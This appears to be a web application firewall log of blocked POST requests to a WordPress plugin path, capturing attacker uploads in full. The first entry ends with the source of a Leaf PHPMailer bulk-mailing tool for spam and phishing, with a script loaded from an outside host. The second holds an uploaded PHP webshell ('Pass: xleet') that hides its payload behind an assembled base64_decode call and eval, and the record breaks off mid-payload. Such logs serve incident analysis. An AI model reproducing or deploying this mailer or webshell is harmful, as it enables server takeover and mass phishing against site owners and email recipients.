@return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n $toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--041a7bdfd0b56825442e73f6e8c46c3f\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--041a7bdfd0b56825442e73f6e8c46c3f\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--041a7bdfd0b56825442e73f6e8c46c3f\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--041a7bdfd0b56825442e73f6e8c46c3f--\r\n"]
["2026-05-26 21:49:54","170.205.30.68","POST","\/wp-content\/plugins\/ngarw\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ngarw\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=e54f8ab253c532142cabb9e51e6c7736\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:73112\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--e54f8ab253c532142cabb9e51e6c7736\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--e54f8ab253c532142cabb9e51e6c7736\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--e54f8ab253c532142cabb9e51e6c7736\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"dtiyh.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaT